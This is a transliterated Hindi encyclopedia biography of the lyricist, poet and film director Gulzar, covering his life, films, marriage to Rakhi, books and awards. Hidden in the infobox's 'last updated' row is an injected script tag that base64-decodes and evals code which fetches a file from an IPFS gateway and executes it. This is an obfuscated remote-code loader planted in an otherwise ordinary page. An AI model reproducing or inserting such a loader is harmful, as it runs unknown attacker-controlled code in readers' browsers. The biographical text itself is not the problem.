गुलज़ार
gulazar
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| poora nam | sampoorn sianh kalara |
| prasiddh nam | gulazar |
| any nam | gulazar sahab |
| janm | 18 agast, 1936 |
| janm bhoomi | dina gaanv, jhelam zila, (pakistan) |
| pati/patni | rakhi gulazar |
| santan | meghana gulazar |
| karm bhoomi | mumbee |
| karm-kshetr | gitakar, kavi, sahityakar, film nirdeshak |
| mukhy rachanaean | 'chauras rat' (1962), 'janam' (1963), 'ek booand chaand' (1972) |
| mukhy filmean | 'mere apane' (1971), 'aandhi' (1975), 'koshish' (1972), 'aangoor' (1980), 'machis' (1996) |
| puraskar-upadhi | aauskar, graimi puraskar, dada sahab phalke puraskar, tin bar rashtriy puraskar, padmabhooshan, iandira gaandhi rashtriy ekata puraskar |
| nagarikata | bharatiy |
| bhasha | hindi, urdoo tatha panjabi |
| any janakari | varsh 2009 mean daini b aauyal dvara nirdeshit film slamad aaug miliyaneyar mean gulazar dvara likhe git 'jay ho...' ke liye unhean sarvashreshth git ka aauskar puraskar bhi mil chuka hai. isi git ke liye ve graimi puraskar se bhi sammanit kiye ja chuke haian. |
| adyatan | 12:50, 19 faravari 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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gulazar (aangrezi: Gulzar) vastavik nam: sampoorn sianh kalara (janm: 18 agast, 1936) hindi filmoan ke prasiddh gitakar hone ke sath hi ek kavi, patakatha lekhak, film nirdeshak tatha natakakar bhi haian. inaki rachanaean mukhyatah hindi, urdoo tatha panjabi mean haian. gulazar ko varsh 2002 mean sahity akadami puraskar aur varsh 2004 mean bharat sarakar dvara diya jane vala tisare sarvochch nagarik samman padm bhooshan se bhi sammanit kiya ja chuka hai. varsh 2009 mean daini b aauyal dvara nirdeshit film slamad aaug miliyaneyar mean unake dvara likhe git 'jay ho...' ke liye unhean sarvashreshth git ka aauskar puraskar bhi mil chuka hai. isi git ke liye gulazar ko graimi puraskar se bhi sammanit kiya ja chuka hai. varsh 2013 ke lie gulazar ko bharatiy sinema ke sarvochch samman dada sahab phalke puraskar ke lie chuna gaya.
jivan parichay
pashchimi panjab ke jhelam zile (jo ab pakistan mean hai) ke dina gaanv mean 18 agast 1936 ko janme sampoorn sianh kalara urph gulazar ne n sirph ek gitakar ke roop mean, balki lekhak, nirmata aur nirdeshak ke roop mean bhi b aaulivud mean apana vishesh yogadan diya hai. bachapan ke dinoan se hi sher-o-shayari ka shauq rakhane vale gulazar aantakshari ke karyakramoan mean bhi hissa lete the. unhean git sangit ke prati khasi ruchi thi. vah ravi shankar aur ali akabar khan ke karyakram sunane ke lie jaya karate the. varsh 1947 mean hindustan vibhajan ke bad unaka parivar amritasar chala aya. isake bad apane sapanoan ko naya roop dene ke lie gulazar muanbee a ge; lekin sapanoan ki nagari mean unhean kafi kathinaiyoan ka samana karana p da. apane jivan yapan ke lie unhoanne motar gairaj mean ek maikenik ki naukari bhi ki.[1]
aanrabhik jivan
muanbee ane ke bad kavi ke roop mean gulazar 'pi.dabloo.e.' [2] se ju d ge. unhoanne apane sine kॅriyar ki shuruat varsh 1961 mean b aaulivud ke mahanh nirdeshak bimal r aauy ke sahayak ke roop mean ki. gulazar ne rrishikesh mukharji aur hemant kumar ke sahayak ke taur par bhi kam kiya. bimal ray ne apane is sahayak nirdeshak ke bhitar ek aise kavi ko dekha jo roohani aur romani shabdoan se is tarah khelata tha, jaise bachche khilaunoan se khelate haian. unhoanne gulazar ko sahayak nirdeshak ke roop mean kam dete hue apani klasik film 'bandini' ke lie git likhane ka kam diya. gitakar ke roop mean gulazar ne pahala gana 'mera gora aang leee le' varsh 1963 mean pradarshit film 'bandini' ke lie likha. jab tak bandini pradarshit huee, usase pahale balaraj sahani ki film 'kabuli vala' ka pradarshan ho gaya. is film ke gitoan ko bhi gulazar ne hi likha tha. kabuli vala mean unaka likha gana 'ai mere pyare vatan, ai mere bichhade chaman, tujh pe dil kurban' aur 'ganga ae kahaan se, ganga jae kahaan se' ne unhean n sirph shrotaoan aur darshakoan ki nazar mean ubhar diya tha balki bandini ke gitakar ke roop mean darshakoan ne jab unaka nam suna to ummidean zyada badh geean aur gulazar shrotaoan ki ummidoan par n sirph khare utare balki unhoanne apane lie b aaulivud mean nam aur shoharat bhi paee.[1]
film nirdeshan
kabuli vala ke bad gulazar ne pichhe mu dakar nahian dekha. unhoanne ek se badhakar ek git likhakar jan-jan ke hriday ke tar jhanajhanae aur unhean bhav vibhor kar filmi git ganga ko samriddh kiya. gulazar ne varsh 1971 mean film 'mere apane' ke jarie nirdeshan ke kshetr mean bhi kadam rakha. apane samay ki 'trejadi kvin' ke nam se vikhyat mina kumari ke sath unhoanne vinod khanna aur shatrughn sinha ko is film mean pesh kiya tha. 'mere apane' film mina kumari ke damadar abhinay aur gulazar ki nirdeshakiy kshamata ki vajah se saphalata pane mean kamayab huee. gulazar ne apani filmoan mean anaginat abhinetriyoan ko behatarin kiradaroan mean pesh kiya. unhoanne suchitra sen ke sath 'aandhi', rekha ke sath 'ijazat', hema malini ke sath 'khushaboo', 'kinara', shabana azami ke sath 'devata', sharmila taigor ke sath 'mausam', 'namakin' jaisi avismaraniy filmean banaee. sanjiv kumar gulazar ke pasandida kalakar the. sanjiv kumar ko lekar unhoanne 'mausam', 'koshish', 'aandhi', 'namakin', 'aangoor', 'devata' jaisi avismaraniy filmean dian. aisa nahian ki unhoanne any nayakoan ke sath kam nahian kiya unhoanne apani shurooat vinod khanna se ki thi unake sath unhoanne samay-samay kuchh chunianda filmean- 'achanak', 'lekin' aur 'mira' jaisi filmean kian.[1]
pramukh filmean (bataur nirdeshak)
- mere apane (1971)
- parichay (1972)
- koshish (1972)
- achanak (1973)
- khushaboo (1974)
- aandhi (1975)
- mausam (1976)
- kinara (1977)
- kitab (1978)
- aangoor (1980)
- namakin (1981)
- mira (1981)
- ijajat (1986)
- lekin (1990)
- libas (1993)
- machis (1996)
- hu too too (1999)
- tivi siriyal
- mirza galib (1988)
- kiradar (1993) [3]
vivah
1973 mean gulazar ka sanjog kuchh aisa bana ki unhoanne film abhinetri rakhi se shadi kar li. rakhi aur gulazar ki shadi mean gulazar ne sirph ek shart rakhi ki rakhi shadi ke bad filmoan mean kam nahian kareangi. rakhi ne gulazar ka kaha mana aur kam band kar diya. isake bavajood in donoan ki kabhi nahian bani aur tin sal bad rakhi apani beti meghana ko lekar gulazar se alag ho geean aur unhoanne phir se filmoan mean kam karana shuroo kar diya. gulazar se shadi se poorv 15 varsh ki umr mean rakhi ki shadi ajay vishvas ke sath huee thi. vah mumbee ke filmalay mean kam karate the. sas ne rakhi ko pati ke pas rahane ke lie mumbee bhijava diya. rakhi ko ajay ka sath jara bhi nahian jama. ek din ajay ne rakhi ko ghar se nikal diya. rakhi ko aj bhi is bat ka gam hai ki gulazar ne kabhi usaki abhinay kshamata ko pahachanane ki koshish hi nahian ki. gulazar se rakhi ko ek beti meghana huee, aj vah bhi b aaulivud mean bataur nirdeshak aur lekhak ke roop mean apani pahachan rakhati hai.[1]
mina kumari aur gulazar
mina kumari aur gulazar ke rishte bhavanaoan se bhare hue rahe haian. mina ne maut se pahale apani tamam dayari aur shayari ki kapiyaan gulazar ko sauanp di thian. gulazar ne unhean sanpadit kar bad mean prakashit bhi karaya tha. mina-gulazar ki bheant film ‘benazir’ ke set par huee thi. bimal ray nirdeshak the aur gulazar sahayak the. sh aaut redi hone par star ko kaimare tak lane ki jimmedari unaki thi. yahian se dosti mean apanapan panapata chala gaya. bad mean gulazar jab svatantr film nirdeshak bane to film ‘mere apane’ ki mukhy bhoomika gulazar ne mina ko sauanpi. 1972 mean mina chal basian. ‘mere apane’ kuchh samay bad pradarshit huee aur gulazar svatantr film nirdeshak ban ge. aj bhi gulazar ke aauphis mean divar par trejedi kvin mina kumari ka chitr bolata-sa najar ata hai.[3]
sanjiv kumar aur pancham da the dost
film, 'mere apane' (1971) se gulazar ne bataur film nirmata bhi apane dil ki batean parde par utarian. 1972 mean unhoanne ek aur bhavapoorn film banaee, 'koshish'. is film mean sanjiv kumar aur jaya bhadu di ne gooange-bahare (mook-badhir) ka abhinay kar darshakoan ki aankhean nam kar di thian. gulazar ki kalam sidhe dil par dastakhat karati hai. us par sanjiv kumar se milakar, jaise gulazar ki lekhani ko aur sifat hasil ho gee. phir donoan lekhak aur adakar se dost ho ge. is jo di ne 1975 mean 'aandhi' aur 'mausam' ke alava 1981 aur 1982 mean kramashah 'aangoor' aur 'namakin' banaee. 1987 mean aee 'ijazat' bhi unake nirdeshan mean bani dil chhoo lene vali film thi. unaki banaee philmoan ki feharist lambi hai. aradi barman (pancham) bhi gulazar ke khas dostoan mean ek the jinake sath unhoanne qarib 21 filmean banaeean. salil chaudhari aur ear rahaman ke sath bhi unaka kam yadagar raha hai. is vaqt unake lafzoan ko suroan mean dhalane ki zimmedari sangitakar vishal bharadvaj nibha rahe haian.[4]
sahity lekhan
[[chitr:Indira Gandhi Award for National Integration-2012.jpg|300px|thumb|pradhanamantri d aau. manamohan sianh evan soniya gaandhi se iandira gaandhi rashtriy ekata puraskar se sammanit hue]] shailendr ne shayad gulazar mean chhupe ek pratibhashali gitakar, shayar aur kavi ko dekh liya tha. sanbhavatah isi hunar se mutassir hokar unhoanne esadi barman se gulazar ki sifarish ki hogi. lihaza gulazar, barman da ki chaukhat par pahuanche. is vaqt barman da 'bandini' ke gitoan ko lekar masroof the. phir bhi gitakar shailendr ki sifarish thi, isalie unhoanne gulazar ko ek git likhane ka mauka diya. 5 din bad gulazar git lekar barman da ke pas pahuanche. barman da ko git bha gaya. phir yahi git unhoanne 'bandini' ke nirdeshak bimal r aauy ko gakar sunaya. bimal da ki razamandi se bhari muskan ne is git ko 'bandini' ke digar gitoan ki feharist mean jo d diya. git ke bol the- 'mora gora aang lee le, mohe shyam rang dee de / chhup jaooangi rat hi mean, mohe pi ka sang dee de'. sal tha 1963 ka. khas bat yah thi ki gulazar ke sabase pahale git ko hi svar samrajni lata mangeshakar ki avaz mili. isase pahale 1961 mean bimal r aauy ke sahayak ke roop mean apane hunar ko dhar lagaee. phir rrishikesh mukharji aur hemant kumar ka sannidhy bhi paya tha. khair, 'bandini' se mili kamayabi ke bad unaki lekhani ne raftar pak d li. unhoanne rrishikesh mukharji ke lie 'anand' (1970), 'guddi' (1971), 'bavarchi' (1972) aur 'namak haram' (1973) ke sath-sath asit sen ke lie 'do dooni char' (1968), 'khamoshi' (1969) aur 'safar' (1970) filmean likhian.[4]
- gulazar dvara likhit kuchh pustakean nimn haian
- chauras rat (laghu kathaean, 1962)
- janam (kavita sangrah, 1963)
- ek booand chaand (kavitaean, 1972)
- ravi par (katha sangrah, 1997)
- rat, chaand aur maian (2002)
- rat pashmine ki
- kharashean (2003) [3]
khamoshi ko pahanaya lafzoan ka pairahan
gulazar ummidoan ke shahar muanbee mean apane qadam jamane ki koshish hi kar rahe the. achchha yah tha ki 1961 se bimal r aauy ke margadarshan mean kam sikhane aur karane ka saubhagy mil raha tha. isi bich ek din dilli mean unake pitaji makhan sianh ka nidhan ho gaya. chooanki gulazar ko abhi naya-naya kam mila hi tha, isalie unhean pareshan n karane ki garaz se kisi ne unhean is bat ki khabar nahian ki. muanbee mean hi rah rahe b de bhaee ko khabar mili, aur vo u d kar dilli pahuanch ge. pahuanch kar aantyeshti kriya sanbandhi dayitv bhi poore kar die. kuchh dinoan bad dilli mean hi rahane vale gulazar ke ek p dosi se jab unhean yah khabar mili, gulazar phrantiyar mel se apane ghar, dilli ke lie ravana ho ge. un dinoan yahi vo rel thi, jo sabase kam samay mean muanbee se dilli pahuanchati thi. lihaza, gulazar 24 ghante mean ghar pahuanche, lekin tab tak bahut der ho chuki thi. sari rasmean nibhaee ja chuki thian. gulazar, bojhil man se muanbee laut ae. apane mazi ka bojh unake lekhan mean bhi saf nazar ata tha. ziandagi sarakate-sarakate aur 5 baras age badh chuki thi, ki bimal r aauy ne bhi bistar pak d liya. pitri tuly bimal da ko rafta-rafta kaiansar ke shikanje mean kasate hue dekh rahe the gulazar. ye t dap bardasht ke bahar thi. apane pita ke aantim darshan n kar pane vale gulazar ne bimal da ke bimar hone par poori tarah se bete ka farz nibhaya. rat-rat bhar unake pas baithe bimal da ki pasandida kitab 'amrit kuanbh' padh kar unhean sunate. akhir ek roz kaiansar ne bimal da ke khokhale ho chuke sharir par poori tarah se kabza kar liya aur saansoan ki dor kat di. ye tarikh thi, 08 janavari 1966. isi roz ek taraf gulazar ne bimal da ki aantyeshti sanbandhi kriyaean poori kian, vahian doosari taraf apane pita ka bhi tarpan kar kuchh had tak dil ka bojh halka kiya.
15 mee, 1973 ko abhinetri rakhi aur gulazar ne sath jine-marane ki kasamean khaeean, lekin 3 sal mean hi kasamoan ki ye dor toot gee aur donoan alag ho ge. is bich ek beti 'meghana' unaki zindagi mean aee. pyar se gulazar ne use 'boski' nam diya. barasoan se alag-alag rah rahe pati-patni, rakhi-gulazar ke bich filavaqt boski hi ek k di hai. gulazar apane ekakipan ko 'khamoshi' se jine ke sath-sath is ehasas ko lafzoan ka pairahan odhakar ne-ne shahakar rach rahe haian. unhean bolate hue sunana kabhi n bhool pane vala ehasas hai. yooan lagata hai, jaise vo hathoan ke ishare se apane charoan taraf hava ke kainavas par koee chitr bana rahe haian. aur yahi chitr lafz, shayari, nazm ya nagame ki shaql mean hamare diloan par ubhar jate haian. barasoan se safed kurte-payajame ko apana libas kie hue, lagata hai gulazar kabhi apane mazi ke gaanv dina ki galiyoan se bahar ae hi nahian. ya phir lagata hai, unake bachapan par lage hijrat ke ghavoan ne unake dil mean har rang ke lie nafarat bhar di ho, shayad aj tak gulazar usi ke matam mean safed rang odhe hue haian.[4]
samman aur puraskar
gulazar ko tin bar 'rashtriy puraskar' se bhi navaja ja chuka hai. inamean varsh 1972 mean 'koshish' film ke lie sarvashreshth skrinaple ka puraskar, varsh 1975 mean 'mausam' film ke lie sarvashreshth nirdeshak aur varsh 1987 mean 'ijazat' film ke lie sarvashreshth gitakar ka puraskar shamil hai. gulazar ke chamakadar kairiyar mean ek gauravapoorn naya adhyay tab ju d gaya jab varsh 2009 mean film 'slamad aaug miliyaneyar' mean unake git 'jay ho' ko aauskar puraskar se sammanit kiya gaya. bharatiy sinema mean unake yogadan ko dekhate hue varsh 2004 mean unhean desh ke tisare b de nagarik samman padmabhooshan se bhi sammanit kiya gaya.[1]isake atirikt gulazar ko varsh 2002 mean 'sahity akadami puraskar' bhi mil chuka hai. qarib char dashakoan se bharatiy sine premiyoan ko apane gitoan ka divana banane vale mashahoor gitakar gulazar ko varsh 2013 ke lie dada sahab phalke puraskar diya gaya hai. ‘tujhase naraz nahian ziandagi’ aur ‘tere bina ziandagi se’ jaise anek lokapriy git likhane vale aur ‘mere apane’, ‘koshish’, ‘khushaboo’, ‘aangoor’, ‘libas’ aur ‘machis’ jaisi philmoan ka nirdeshan kar chuke 79 varshiy gulajar yah samman pane vale 45vian shakhsiyat haian. isake alava unhean 1977, 1979, 1980, 1983, 1988, 1991,1998, 2002, 2005 adi mean sarvashreshth gitakar ka filmafeyar puraskar bhi mil chuka hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 gulazar janm divas par: dil dhooandhata hai phir vahi phursat ke rat din. . (hindi) (ech.ti.em.el) khas khabar. abhigaman tithi: 24 sitambar, 2012.
- ↑ progresiv rayartas esosieshan
- ↑ 3.0 3.1 3.2 hajar cheharoan vale gulazar (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 24 sitambar, 2012.
- ↑ 4.0 4.1 4.2 shayad isilie aj tak safed rang odhe haian gulazar (hindi) (ech.ti.em.el) veb duniya hindi. abhigaman tithi: 19 faravari, 2017.
bahari k diyaan
sanbandhit lekh
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